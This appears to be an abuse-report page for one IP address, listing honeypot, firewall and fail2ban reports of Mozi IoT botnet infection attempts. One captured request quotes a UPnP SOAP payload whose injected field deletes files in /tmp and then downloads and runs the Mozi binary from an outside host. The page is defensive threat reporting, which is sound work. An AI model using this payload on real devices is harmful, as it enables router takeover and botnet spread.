This IP address has been reported a total of
293
times from
102 distinct
sources.
182.235.148.10 was first reported on
, and the most recent report was
.
Recent Reports:
We have received reports of abusive activity from this IP address within the last week. It is
potentially still actively engaged in abusive activities.
Honeypot detection: Mozi IoT botnet payload delivery / infection attempt on port 8080. Severity: CRI ...
show moreHoneypot detection: Mozi IoT botnet payload delivery / infection attempt on port 8080. Severity: CRITICAL. Aaran.cloud
show less
Honeypot detection: Mozi IoT botnet payload delivery / infection attempt on port 8443. Severity: CRI ...
show moreHoneypot detection: Mozi IoT botnet payload delivery / infection attempt on port 8443. Severity: CRITICAL. Aaran.cloud
show less
Hacking
IoT Targeted
Anonymous
Repeated unauthorized connection attempts to restricted service observed.
Honeypot detection: Mozi IoT botnet payload delivery / infection attempt on port 8080. Severity: CRI ...
show moreHoneypot detection: Mozi IoT botnet payload delivery / infection attempt on port 8080. Severity: CRITICAL. Aaran.cloud
show less
Firewall: Within 2026-05-30 21:36:51 - 2026-05-30 21:36:51 CEST(+0200) identified: unallowed access ...
show moreFirewall: Within 2026-05-30 21:36:51 - 2026-05-30 21:36:51 CEST(+0200) identified: unallowed access from 182.235.148.10 on port 49152(tcp:49152) (1 trial)
Fail2ban: Within 2026-05-30 21:36:51 - 2026-05-30 21:36:51 CEST(+0200) banned: 1 times by fail2ban[firewall]
show less
Honeypot detection: Mozi IoT botnet payload delivery / infection attempt on port 8080. Severity: CRI ...
show moreHoneypot detection: Mozi IoT botnet payload delivery / infection attempt on port 8080. Severity: CRITICAL. Aaran.cloud
show less
May 29 02:33:07 182.235.148.10 TCP SPT=47170 DPT=5555 SYN
May 29 02:33:08 182.235.148.10 TCP SPT=471 ...
show moreMay 29 02:33:07 182.235.148.10 TCP SPT=47170 DPT=5555 SYN
May 29 02:33:08 182.235.148.10 TCP SPT=47170 DPT=5555 SYN
May 29 02:33:10 182.235.148.10 TCP SPT=47170 DPT=5555
...
show less
Honeypot hit: HTTP/1.1 request on 49152
POST /soap.cgi?service=WANIPConn1
User-Agent: Hello, World
...
show moreHoneypot hit: HTTP/1.1 request on 49152
POST /soap.cgi?service=WANIPConn1
User-Agent: Hello, World
Accept: */*
Accept-Encoding: gzip, deflate
POST Data: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><m:AddPortMapping xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1"><NewPortMappingDescription><NewPortMappingDescription><NewLeaseDuration></NewLeaseDuration><NewInternalClient>`cd /tmp;rm -rf *;wget http://182.235.148.10:56858/Mozi.m;/tmp/Mozi.m dlink`</NewInternalClient><NewEnabled>1</NewEnabled><NewExternalPort>634</NewExternalPort><NewRemoteHost></NewRemoteHost><NewProtocol>TCP</NewProtocol><NewInternalPort>45</NewInternalPort></m:AddPortMapping><SOAPENV:Body><SOAPENV:envelope>; 49152 [1] TCP
Reported by: https://github.com/sefinek/T-Pot-To-AbuseIPDB
show less
Hacking
Bad Web Bot
Showing 1 to
15
of 293 reports
Think this IP has been falsely reported? You may request to have the associated
reports reviewed and removed.
Request Takedown 🚩